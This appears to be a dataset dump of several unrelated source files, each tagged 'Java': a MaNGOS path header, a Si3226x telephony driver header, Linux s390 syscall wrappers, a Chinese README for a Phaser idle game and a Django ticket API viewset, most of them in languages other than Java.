* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef MANGOSSERVER_PATH_H
#define MANGOSSERVER_PATH_H
#include "Common.h"
#include <vector>
struct SimplePathNode
{
float x,y,z;
};
template<typename PathElem, typename PathNode = PathElem>
class Path
{
public:
size_t size() const { return i_nodes.size(); }
bool empty() const { return i_nodes.empty(); }
void resize(unsigned int sz) { i_nodes.resize(sz); }
void clear() { i_nodes.clear(); }
void erase(uint32 idx) { i_nodes.erase(i_nodes.begin()+idx); }
float GetTotalLength(uint32 start, uint32 end) const
{
float len = 0.0f;
for(unsigned int idx=start+1; idx < end; ++idx)
{
PathNode const& node = i_nodes[idx];
PathNode const& prev = i_nodes[idx-1];
float xd = node.x - prev.x;
float yd = node.y - prev.y;
float zd = node.z - prev.z;
len += sqrtf( xd*xd + yd*yd + zd*zd );
}
return len;
}
float GetTotalLength() const { return GetTotalLength(0,size()); }
float GetPassedLength(uint32 curnode, float x, float y, float z) const
{
float len = GetTotalLength(0,curnode);
if (curnode > 0)
{
PathNode const& node = i_nodes[curnode-1];
float xd = x - node.x;
float yd = y - node.y;
float zd = z - node.z;
len += sqrtf( xd*xd + yd*yd + zd*zd );
}
return len;
}
PathNode& operator[](size_t idx) { return i_nodes[idx]; }
PathNode const& operator[](size_t idx) const { return i_nodes[idx]; }
void set(size_t idx, PathElem elem) { i_nodes[idx] = elem; }
protected:
std::vector<PathElem> i_nodes;
};
typedef Path<SimplePathNode> SimplePath;
#endif
| Java |
/*
** Copyright (c) 2007-2012 by Silicon Laboratories
**
** $Id: si3226x_intf.h 3713 2012-12-18 17:30:28Z cdp $
**
** Si3226x_Intf.h
** Si3226x ProSLIC interface header file
**
** Author(s):
** laj
**
** Distributed by:
** Silicon Laboratories, Inc
**
** This file contains proprietary information.
** No dissemination allowed without prior written permission from
** Silicon Laboratories, Inc.
**
** File Description:
** This is the header file for the ProSLIC driver.
**
** Dependancies:
** proslic_datatypes.h, Si3226x_registers.h, ProSLIC.h
**
*/
#ifndef SI3226X_INTF_H
#define SI3226X_INTF_H
/*
**
** Si3226x General Constants
**
*/
#define SI3226X_REVA 0
#define SI3226X_REVB 1
#define SI3226X_REVC 3 /* This is revC bug - shows revD revision code */
#define DEVICE_KEY_MIN 0x64
#define DEVICE_KEY_MAX 0x6D
/*
** Calibration Constants
*/
#define SI3226X_CAL_STD_CALR1 0xC0 /* FF */
#define SI3226X_CAL_STD_CALR2 0x18 /* F8 */
/* Timeouts in 10s of ms */
#define SI3226X_TIMEOUT_DCDC_UP 200
#define SI3226X_TIMEOUT_DCDC_DOWN 200
/*
**
** PROSLIC INITIALIZATION FUNCTIONS
**
*/
/*
** Function: PROSLIC_Reset
**
** Description:
** Resets the ProSLIC
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_Reset (proslicChanType_ptr hProslic);
/*
** Function: PROSLIC_ShutdownChannel
**
** Description:
** Safely shutdown channel w/o interruption to
** other active channels
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_ShutdownChannel (proslicChanType_ptr hProslic);
/*
** Function: PROSLIC_Init_MultiBOM
**
** Description:
** Initializes the ProSLIC w/ selected general parameters
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
** size: number of channels
** preset: general configuration preset
**
** Return:
** none
*/
int Si3226x_Init_MultiBOM (proslicChanType_ptr *hProslic,int size,int preset);
/*
** Function: PROSLIC_Init
**
** Description:
** Initializes the ProSLIC
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_Init (proslicChanType_ptr *hProslic,int size);
/*
** Function: PROSLIC_Reinit
**
** Description:
** Soft reset and initialization
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_Reinit (proslicChanType_ptr hProslic,int size);
/*
** Function: PROSLIC_VerifyControlInterface
**
** Description:
** Verify SPI port read capabilities
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_VerifyControlInterface (proslicChanType_ptr hProslic);
uInt8 Si3226x_ReadReg (proslicChanType_ptr hProslic,uInt8 addr);
int Si3226x_WriteReg (proslicChanType_ptr hProslic,uInt8 addr,uInt8 data);
ramData Si3226x_ReadRAM (proslicChanType_ptr hProslic,uInt16 addr);
int Si3226x_WriteRAM (proslicChanType_ptr hProslic,uInt16 addr, ramData data);
/*
** Function: ProSLIC_PrintDebugData
**
** Description:
** Register and RAM dump utility
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_PrintDebugData (proslicChanType_ptr hProslic);
/*
** Function: ProSLIC_PrintDebugReg
**
** Description:
** Register dump utility
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_PrintDebugReg (proslicChanType_ptr hProslic);
/*
** Function: ProSLIC_PrintDebugRAM
**
** Description:
** RAM dump utility
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_PrintDebugRAM (proslicChanType_ptr hProslic);
/*
** Function: Si3226x_PowerUpConverter
**
** Description:
** Powers all DC/DC converters sequentially with delay to minimize
** peak power draw on VDC.
**
** Returns:
** int (error)
**
*/
int Si3226x_PowerUpConverter(proslicChanType_ptr hProslic);
/*
** Function: Si3226x_PowerDownConverter
**
** Description:
** Power down DCDC converter (selected channel only)
**
** Returns:
** int (error)
**
*/
int Si3226x_PowerDownConverter(proslicChanType_ptr hProslic);
/*
** Function: Si3226x_Calibrate
**
** Description:
** Generic calibration function for Si3226x
**
** Input Parameters:
** pProslic: pointer to PROSLIC object,
** size: maximum number of channels
** calr: array of CALRx register values
** maxTime: cal timeout (in ms)
**
** Return:
** int
*/
int Si3226x_Calibrate (proslicChanType_ptr *hProslic, int size, uInt8 *calr, int maxTime);
/*
** Function: PROSLIC_Cal
**
** Description:
** Calibrates the ProSLIC
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
**
** Return:
** none
*/
int Si3226x_Cal (proslicChanType_ptr *hProslic, int size);
/*
** Function: PROSLIC_LoadRegTables
**
** Description:
** Loads registers and ram in the ProSLIC
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
** pRamTable: pointer to ram values to load
** pRegTable: pointer to register values to load
**
**
** Return:
** none
*/
int Si3226x_LoadRegTables (proslicChanType_ptr *hProslic, ProslicRAMInit *pRamTable, ProslicRegInit *pRegTable,int size);
/*
** Function: PROSLIC_LoadPatch
**
** Description:
** Loads patch to the ProSLIC
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
** pPatch: pointer to patch data
**
** Return:
** none
*/
int Si3226x_LoadPatch (proslicChanType_ptr hProslic, const proslicPatch *pPatch);
/*
** Function: PROSLIC_VerifyPatch
**
** Description:
** Verifies patch to the ProSLIC
**
** Input Parameters:
** pProslic: pointer to PROSLIC object
** pPatch: pointer to patch data
**
** Return:
** none
*/
int Si3226x_VerifyPatch (proslicChanType_ptr hProslic, const proslicPatch *pPatch);
/*
** Function: PROSLIC_EnableInterrupts
**
** Description:
** Enables interrupts
**
** Input Parameters:
** hProslic: pointer to Proslic object
**
** Return:
**
*/
int Si3226x_EnableInterrupts (proslicChanType_ptr hProslic);
int Si3226x_DisableInterrupts (proslicChanType_ptr hProslic);
/*
** Function: PROSLIC_SetLoopbackMode
**
** Description:
** Set loopback test mode
**
** Input Parameters:
** hProslic: pointer to Proslic object
**
** Return:
**
*/
int Si3226x_SetLoopbackMode (proslicChanType_ptr hProslic, ProslicLoopbackModes newMode);
/*
** Function: PROSLIC_SetMuteStatus
**
** Description:
** Set mute(s)
**
** Input Parameters:
** hProslic: pointer to Proslic object
**
** Return:
**
*/
int Si3226x_SetMuteStatus (proslicChanType_ptr hProslic, ProslicMuteModes muteEn);
/*
**
** PROSLIC CONFIGURATION FUNCTIONS
**
*/
/*
** Function: PROSLIC_RingSetup
**
** Description:
** configure ringing
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pRingSetup: pointer to ringing config structure
**
** Return:
** none
*/
int Si3226x_RingSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_ToneGenSetup
**
** Description:
** configure tone generators
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pTone: pointer to tones config structure
**
** Return:
** none
*/
int Si3226x_ToneGenSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_FSKSetup
**
** Description:
** configure fsk
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pFsk: pointer to fsk config structure
**
** Return:
** none
*/
int Si3226x_FSKSetup (proslicChanType *pProslic, int preset);
/*
* Function: Si3226x_ModifyStartBits
*
* Description: To change the FSK start/stop bits field.
* Returns RC_NONE if OK.
*/
int Si3226x_ModifyCIDStartBits(proslicChanType_ptr pProslic, uInt8 enable_startStop);
/*
** Function: PROSLIC_DTMFDecodeSetup
**
** Description:
** configure dtmf decode
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pDTMFDec: pointer to dtmf decoder config structure
**
** Return:
** none
*/
int Si3226x_DTMFDecodeSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_SetProfile
**
** Description:
** set country profile of the proslic
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pCountryData: pointer to country config structure
**
** Return:
** none
*/
int Si3226x_SetProfile (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_ZsynthSetup
**
** Description:
** configure impedence synthesis
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pZynth: pointer to zsynth config structure
**
** Return:
** none
*/
int Si3226x_ZsynthSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_GciCISetup
**
** Description:
** configure CI bits (GCI mode)
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pCI: pointer to ringing config structure
**
** Return:
** none
*/
int Si3226x_GciCISetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_ModemDetSetup
**
** Description:
** configure modem detector
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pModemDet: pointer to modem det config structure
**
** Return:
** none
*/
int Si3226x_ModemDetSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_AudioGainSetup
**
** Description:
** configure audio gains
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pAudio: pointer to audio gains config structure
**
** Return:
** none
*/
int Si3226x_TXAudioGainSetup (proslicChanType *pProslic, int preset);
int Si3226x_RXAudioGainSetup (proslicChanType *pProslic, int preset);
#define Si3226x_AudioGainSetup ProSLIC_AudioGainSetup
int Si3226x_TXAudioGainScale (proslicChanType *pProslic, int preset, uInt32 pga_scale, uInt32 eq_scale);
int Si3226x_RXAudioGainScale (proslicChanType *pProslic, int preset, uInt32 pga_scale, uInt32 eq_scale);
/*
** Function: PROSLIC_HybridSetup
**
** Description:
** configure Proslic hybrid
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pHybridCfg: pointer to ringing config structure
**
** Return:
** none
*/
int Si3226x_HybridSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_AudioEQSetup
**
** Description:
** configure audio equalizers
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pAudioEQ: pointer to ringing config structure
**
** Return:
** none
*/
int Si3226x_AudioEQSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_DCFeedSetup
**
** Description:
** configure dc feed
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pDcFeed: pointer to dc feed config structure
**
** Return:
** none
*/
int Si3226x_DCFeedSetup (proslicChanType *pProslic,int preset);
int Si3226x_DCFeedSetupCfg (proslicChanType *pProslic,ProSLIC_DCfeed_Cfg *cfg,int preset);
/*
** Function: PROSLIC_GPIOSetup
**
** Description:
** configure gpio
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pGpio: pointer to gpio config structure
**
** Return:
** none
*/
int Si3226x_GPIOSetup (proslicChanType *pProslic);
/*
** Function: PROSLIC_PCMSetup
**
** Description:
** configure pcm
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pPcm: pointer to pcm config structure
**
** Return:
** none
*/
int Si3226x_PCMSetup (proslicChanType *pProslic, int preset);
int Si3226x_PCMTimeSlotSetup (proslicChanType *pProslic, uInt16 rxcount, uInt16 txcount);
/*
**
** PROSLIC CONTROL FUNCTIONS
**
*/
/*
** Function: PROSLIC_GetInterrupts
**
** Description:
** Enables interrupts
**
** Input Parameters:
** hProslic: pointer to Proslic object
** pIntData: pointer to interrupt info retrieved
**
** Return:
**
*/
int Si3226x_GetInterrupts (proslicChanType_ptr hProslic, proslicIntType *pIntData);
/*
** Function: PROSLIC_ReadHookStatus
**
** Description:
** Determine hook status
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pHookStat: current hook status
**
** Return:
** none
*/
int Si3226x_ReadHookStatus (proslicChanType *pProslic,uInt8 *pHookStat);
/*
** Function: PROSLIC_WriteLinefeed
**
** Description:
** Sets linefeed state
**
** Input Parameters:
** pProslic: pointer to Proslic object
** newLinefeed: new linefeed state
**
** Return:
** none
*/
int Si3226x_SetLinefeedStatus (proslicChanType *pProslic,uInt8 newLinefeed);
/*
** Function: PROSLIC_SetLinefeedBroadcast
**
** Description:
** Sets linefeed state
**
** Input Parameters:
** pProslic: pointer to Proslic object
** newLinefeed: new linefeed state
**
** Return:
** none
*/
int Si3226x_SetLinefeedStatusBroadcast (proslicChanType *pProslic, uInt8 newLinefeed);
/*
** Function: PROSLIC_PolRev
**
** Description:
** Sets polarity reversal state
**
** Input Parameters:
** pProslic: pointer to Proslic object
** abrupt: set this to 1 for abrupt pol rev
** newPolRevState: new pol rev state
**
** Return:
** none
*/
int Si3226x_PolRev (proslicChanType *pProslic,uInt8 abrupt, uInt8 newPolRevState);
/*
** Function: PROSLIC_GPIOControl
**
** Description:
** Sets gpio of the proslic
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pGpioData: pointer to gpio status
** read: set to 1 to read status, 0 to write
**
** Return:
** none
*/
int Si3226x_GPIOControl (proslicChanType *pProslic,uInt8 *pGpioData, uInt8 read);
/*
** Function: ProSLIC_MWISetup
**
** Description:
** Modify default MWI amplitude and switch debounce parameters
**
** Input Parameters:
** pProslic: pointer to Proslic object
** vpk_mag: peak flash voltgage (vpk) - passing a 0 results
** in no change to VBATH_NEON
** lcmrmask_mwi: LCR mask time (ms) after MWI state switch - passing
** a 0 results in no change to LCRMASK_MWI
**
** Return:
** none
*/
int Si3226x_MWISetup (proslicChanType *pProslic,uInt16 vpk_mag,uInt16 lcrmask_mwi);
/*
** Function: ProSLIC_MWIEnable
**
** Description:
** Enable MWI feature
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_MWIEnable (proslicChanType *pProslic);
/*
** Function: ProSLIC_MWIDisable
**
** Description:
** Disable MWI feature
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_MWIDisable (proslicChanType *pProslic);
/*
** Function: ProSLIC_SetMWIState
**
** Description:
** Set MWI state
**
** Input Parameters:
** pProslic: pointer to Proslic object
** flash_on: 0 = low, 1 = high (VBATH_NEON)
**
** Return:
** none
*/
int Si3226x_SetMWIState (proslicChanType *pProslic,uInt8 flash_on);
/*
** Function: ProSLIC_GetMWIState
**
** Description:
** Read MWI state
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** 0 - Flash OFF, 1 - Flash ON, RC_MWI_NOT_ENABLED
*/
int Si3226x_GetMWIState (proslicChanType *pProslic);
/*
** Function: ProSLIC_MWI
**
** Description:
** implements message waiting indicator
**
** Input Parameters:
** pProslic: pointer to Proslic object
** lampOn: 0 = turn lamp off, 1 = turn lamp on
**
** Return:
** none
**
** Use Deprecated.
*/
int Si3226x_MWI (proslicChanType *pProslic,uInt8 lampOn);
/*
** Function: PROSLIC_StartGenericTone
**
** Description:
** Initializes and start tone generators
**
** Input Parameters:
** pProslic: pointer to Proslic object
** timerEn: specifies whether to enable the tone generator timers
**
** Return:
** none
*/
int Si3226x_ToneGenStart (proslicChanType *pProslic, uInt8 timerEn);
/*
** Function: PROSLIC_StopTone
**
** Description:
** Stops tone generators
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_ToneGenStop (proslicChanType *pProslic);
/*
** Function: PROSLIC_StartRing
**
** Description:
** Initializes and start ring generator
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_RingStart (proslicChanType *pProslic);
/*
** Function: PROSLIC_StopRing
**
** Description:
** Stops ring generator
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_RingStop (proslicChanType *pProslic);
/*
** Function: PROSLIC_EnableCID
**
** Description:
** enable fsk
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_EnableCID (proslicChanType *pProslic);
/*
** Function: PROSLIC_DisableCID
**
** Description:
** disable fsk
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_DisableCID (proslicChanType *pProslic);
/*
** Function: PROSLIC_SendCID
**
** Description:
** send fsk data
**
** Input Parameters:
** pProslic: pointer to Proslic object
** buffer: buffer to send
** numBytes: num of bytes in the buffer
**
** Return:
** none
*/
int Si3226x_SendCID (proslicChanType *pProslic, uInt8 *buffer, uInt8 numBytes);
int Si3226x_CheckCIDBuffer (proslicChanType *pProslic, uInt8 *fsk_buf_avail);
/*
** Function: PROSLIC_StartPCM
**
** Description:
** Starts PCM
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PCMStart (proslicChanType *pProslic);
/*
** Function: PROSLIC_StopPCM
**
** Description:
** Disables PCM
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PCMStop (proslicChanType *pProslic);
/*
** Function: PROSLIC_ReadDTMFDigit
**
** Description:
** Read DTMF digit (would be called after DTMF interrupt to collect digit)
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pDigit: digit read
**
** Return:
** none
*/
int Si3226x_DTMFReadDigit (proslicChanType *pProslic,uInt8 *pDigit);
/*
** Function: PROSLIC_PLLFreeRunStart
**
** Description:
** initiates pll free run mode
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PLLFreeRunStart (proslicChanType *pProslic);
/*
** Function: PROSLIC_PLLFreeRunStop
**
** Description:
** exit pll free run mode
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PLLFreeRunStop (proslicChanType *pProslic);
/*
** Function: PROSLIC_PulseMeterSetup
**
** Description:
** configure pulse metering
**
** Input Parameters:
** pProslic: pointer to Proslic object
** pPulseCfg: pointer to pulse metering config structure
**
** Return:
** none
*/
int Si3226x_PulseMeterSetup (proslicChanType *pProslic, int preset);
/*
** Function: PROSLIC_PulseMeterEnable
**
** Description:
** enable pulse meter generation
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PulseMeterEnable (proslicChanType *pProslic);
/*
** Function: PROSLIC_PulseMeterDisable
**
** Description:
** disable pulse meter generation
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PulseMeterDisable (proslicChanType *pProslic);
/*
** Function: PROSLIC_PulseMeterStart
**
** Description:
** start pulse meter tone
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PulseMeterStart (proslicChanType *pProslic);
/*
** Function: PROSLIC_PulseMeterStop
**
** Description:
** stop pulse meter tone
**
** Input Parameters:
** pProslic: pointer to Proslic object
**
** Return:
** none
*/
int Si3226x_PulseMeterStop (proslicChanType *pProslic);
/*
** Function: PROSLIC_LBCal
**
** Description:
** Execute longitudinal balance calibration
**
** Input Parameters:
** hProslic: pointer to array of Proslic objects
**
** Return:
**
*/
int Si3226x_LBCal (proslicChanType_ptr *pProslic, int size);
int Si3226x_GetLBCalResult (proslicChanType *pProslic,int32 *result1,int32 *result2,int32 *result3,int32 *result4);
int Si3226x_GetLBCalResultPacked (proslicChanType *pProslic,int32 *result);
int Si3226x_LoadPreviousLBCal (proslicChanType *pProslic,int32 result1,int32 result2,int32 result3,int32 result4);
int Si3226x_LoadPreviousLBCalPacked (proslicChanType *pProslic,int32 *result);
/*
** Function: PROSLIC_dbgSetDCFeed
**
** Description:
** provisionary function for setting up
** dcfeed given desired open circuit voltage
** and loop current.
*/
int Si3226x_dbgSetDCFeed (proslicChanType *pProslic, uInt32 v_vlim_val, uInt32 i_ilim_val, int32 preset);
/*
** Function: PROSLIC_dbgSetDCFeedVopen
**
** Description:
** provisionary function for setting up
** dcfeed given desired open circuit voltage
** and loop current.
*/
int Si3226x_dbgSetDCFeedVopen (proslicChanType *pProslic, uInt32 v_vlim_val, int32 preset);
/*
** Function: PROSLIC_dbgSetDCFeedIloop
**
** Description:
** provisionary function for setting up
** dcfeed given desired open circuit voltage
** and loop current.
*/
int Si3226x_dbgSetDCFeedIloop (proslicChanType *pProslic, uInt32 i_ilim_val, int32 preset);
/*
** Function: PROSLIC_dbgRingingSetup
**
** Description:
** Provisionary function for setting up
** Ring type, frequency, amplitude and dc offset.
** Main use will be by peek/poke applications.
*/
int Si3226x_dbgSetRinging (proslicChanType *pProslic, ProSLIC_dbgRingCfg *ringCfg, int preset);
/*
** Function: PROSLIC_dbgSetRXGain
**
** Description:
** Provisionary function for setting up
** RX path gain.
*/
int Si3226x_dbgSetRXGain (proslicChanType *pProslic, int32 gain, int impedance_preset, int audio_gain_preset);
/*
** Function: PROSLIC_dbgSetTXGain
**
** Description:
** Provisionary function for setting up
** TX path gain.
*/
int Si3226x_dbgSetTXGain (proslicChanType *pProslic, int32 gain, int impedance_preset, int audio_gain_preset);
/*
** Function: PROSLIC_LineMonitor
**
** Description:
** Monitor line voltages and currents
*/
int Si3226x_LineMonitor(proslicChanType *pProslic, proslicMonitorType *monitor);
/*
** Function: PROSLIC_PSTNCheck
**
** Description:
** Continuous monitor of ilong to detect hot pstn line
*/
int Si3226x_PSTNCheck(proslicChanType *pProslic, proslicPSTNCheckObjType *pstnCheckObj);
/*
** Function: PROSLIC_DiffPSTNCheck
**
** Description:
** Detection of foreign PSTN
*/
int Si3226x_DiffPSTNCheck (proslicChanType *pProslic, proslicDiffPSTNCheckObjType *pPSTNCheck);
/*
** Function: PROSLIC_SetPowersaveMode
**
** Description:
** Enable or Disable powersave mode
*/
int Si3226x_SetPowersaveMode(proslicChanType *pProslic, int pwrsave);
/*
** Function: PROSLIC_ReadMADCScaled
**
** Description:
** ReadMADC (or other sensed voltage/currents) and
** return scaled value in int32 format
*/
int32 Si3226x_ReadMADCScaled(proslicChanType *pProslic, uInt16 addr, int32 scale);
#endif
| Java |
/*
* arch/s390/kernel/sys_s390.c
*
* S390 version
* Copyright (C) 1999,2000 IBM Deutschland Entwicklung GmbH, IBM Corporation
* Author(s): Martin Schwidefsky (schwidefsky@de.ibm.com),
* Thomas Spatzier (tspat@de.ibm.com)
*
* Derived from "arch/i386/kernel/sys_i386.c"
*
* This file contains various random system calls that
* have a non-standard calling sequence on the Linux/s390
* platform.
*/
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/smp.h>
#include <linux/sem.h>
#include <linux/msg.h>
#include <linux/shm.h>
#include <linux/stat.h>
#include <linux/syscalls.h>
#include <linux/mman.h>
#include <linux/file.h>
#include <linux/utsname.h>
#include <linux/personality.h>
#include <linux/unistd.h>
#include <linux/ipc.h>
#include <asm/uaccess.h>
#include "entry.h"
/*
* Perform the mmap() system call. Linux for S/390 isn't able to handle more
* than 5 system call parameters, so this system call uses a memory block
* for parameter passing.
*/
struct s390_mmap_arg_struct {
unsigned long addr;
unsigned long len;
unsigned long prot;
unsigned long flags;
unsigned long fd;
unsigned long offset;
};
SYSCALL_DEFINE1(mmap2, struct s390_mmap_arg_struct __user *, arg)
{
struct s390_mmap_arg_struct a;
int error = -EFAULT;
if (copy_from_user(&a, arg, sizeof(a)))
goto out;
error = sys_mmap_pgoff(a.addr, a.len, a.prot, a.flags, a.fd, a.offset);
out:
return error;
}
/*
* sys_ipc() is the de-multiplexer for the SysV IPC calls.
*/
SYSCALL_DEFINE5(s390_ipc, uint, call, int, first, unsigned long, second,
unsigned long, third, void __user *, ptr)
{
if (call >> 16)
return -EINVAL;
/* The s390 sys_ipc variant has only five parameters instead of six
* like the generic variant. The only difference is the handling of
* the SEMTIMEDOP subcall where on s390 the third parameter is used
* as a pointer to a struct timespec where the generic variant uses
* the fifth parameter.
* Therefore we can call the generic variant by simply passing the
* third parameter also as fifth parameter.
*/
return sys_ipc(call, first, second, third, ptr, third);
}
#ifdef CONFIG_64BIT
SYSCALL_DEFINE1(s390_personality, unsigned int, personality)
{
unsigned int ret;
if (current->personality == PER_LINUX32 && personality == PER_LINUX)
personality = PER_LINUX32;
ret = sys_personality(personality);
if (ret == PER_LINUX32)
ret = PER_LINUX;
return ret;
}
#endif /* CONFIG_64BIT */
/*
* Wrapper function for sys_fadvise64/fadvise64_64
*/
#ifndef CONFIG_64BIT
SYSCALL_DEFINE5(s390_fadvise64, int, fd, u32, offset_high, u32, offset_low,
size_t, len, int, advice)
{
return sys_fadvise64(fd, (u64) offset_high << 32 | offset_low,
len, advice);
}
struct fadvise64_64_args {
int fd;
long long offset;
long long len;
int advice;
};
SYSCALL_DEFINE1(s390_fadvise64_64, struct fadvise64_64_args __user *, args)
{
struct fadvise64_64_args a;
if ( copy_from_user(&a, args, sizeof(a)) )
return -EFAULT;
return sys_fadvise64_64(a.fd, a.offset, a.len, a.advice);
}
/*
* This is a wrapper to call sys_fallocate(). For 31 bit s390 the last
* 64 bit argument "len" is split into the upper and lower 32 bits. The
* system call wrapper in the user space loads the value to %r6/%r7.
* The code in entry.S keeps the values in %r2 - %r6 where they are and
* stores %r7 to 96(%r15). But the standard C linkage requires that
* the whole 64 bit value for len is stored on the stack and doesn't
* use %r6 at all. So s390_fallocate has to convert the arguments from
* %r2: fd, %r3: mode, %r4/%r5: offset, %r6/96(%r15)-99(%r15): len
* to
* %r2: fd, %r3: mode, %r4/%r5: offset, 96(%r15)-103(%r15): len
*/
SYSCALL_DEFINE(s390_fallocate)(int fd, int mode, loff_t offset,
u32 len_high, u32 len_low)
{
return sys_fallocate(fd, mode, offset, ((u64)len_high << 32) | len_low);
}
#ifdef CONFIG_HAVE_SYSCALL_WRAPPERS
asmlinkage long SyS_s390_fallocate(long fd, long mode, loff_t offset,
long len_high, long len_low)
{
return SYSC_s390_fallocate((int) fd, (int) mode, offset,
(u32) len_high, (u32) len_low);
}
SYSCALL_ALIAS(sys_s390_fallocate, SyS_s390_fallocate);
#endif
#endif
| Java |
# Game_Idle_TheLostLand
放置类单机游戏
## 基本描述
- Engine : [Phaser](https://github.com/photonstorm/phaser). 2.4.4
- Develop enviorment: IntelliJ IDEA 2016
## 依赖库
### RS GUI
Phaser的UI库
### Phaser-Debug
Phaser Debug调试器
### Phaser-Inspector
Phaser 性能监视器
### Juicy
简易特效支持
* 摄像机震动
* 闪屏
* 对象拖尾
* 精灵的果冻缩放效果
* 过度缩放等
### ColorHarmony
进行颜色混合调整的一个库
###newgroundsio.min.js
使用NewGrounds的API接口 | Java |
# -*- coding: utf-8 -*-
#
from rest_framework import viewsets
from rest_framework.decorators import action
from rest_framework.exceptions import MethodNotAllowed
from rest_framework.response import Response
from common.const.http import POST, PUT
from common.mixins.api import CommonApiMixin
from common.permissions import IsValidUser, IsOrgAdmin
from tickets import serializers
from tickets.models import Ticket
from tickets.permissions.ticket import IsAssignee, IsAssigneeOrApplicant, NotClosed
__all__ = ['TicketViewSet']
class TicketViewSet(CommonApiMixin, viewsets.ModelViewSet):
permission_classes = (IsValidUser,)
serializer_class = serializers.TicketDisplaySerializer
serializer_classes = {
'open': serializers.TicketApplySerializer,
'approve': serializers.TicketApproveSerializer,
}
filterset_fields = [
'id', 'title', 'type', 'action', 'status', 'applicant', 'applicant_display', 'processor',
'processor_display', 'assignees__id'
]
search_fields = [
'title', 'action', 'type', 'status', 'applicant_display', 'processor_display'
]
def create(self, request, *args, **kwargs):
raise MethodNotAllowed(self.action)
def update(self, request, *args, **kwargs):
raise MethodNotAllowed(self.action)
def destroy(self, request, *args, **kwargs):
raise MethodNotAllowed(self.action)
def get_queryset(self):
queryset = Ticket.get_user_related_tickets(self.request.user)
return queryset
def perform_create(self, serializer):
instance = serializer.save()
instance.open(applicant=self.request.user)
@action(detail=False, methods=[POST], permission_classes=[IsValidUser, ])
def open(self, request, *args, **kwargs):
return super().create(request, *args, **kwargs)
@action(detail=True, methods=[PUT], permission_classes=[IsOrgAdmin, IsAssignee, NotClosed])
def approve(self, request, *args, **kwargs):
response = super().update(request, *args, **kwargs)
instance = self.get_object()
instance.approve(processor=self.request.user)
return response
@action(detail=True, methods=[PUT], permission_classes=[IsOrgAdmin, IsAssignee, NotClosed])
def reject(self, request, *args, **kwargs):
instance = self.get_object()
serializer = self.get_serializer(instance)
instance.reject(processor=request.user)
return Response(serializer.data)
@action(detail=True, methods=[PUT], permission_classes=[IsAssigneeOrApplicant, NotClosed])
def close(self, request, *args, **kwargs):
instance = self.get_object()
serializer = self.get_serializer(instance)
instance.close(processor=request.user)
return Response(serializer.data)
| Java |
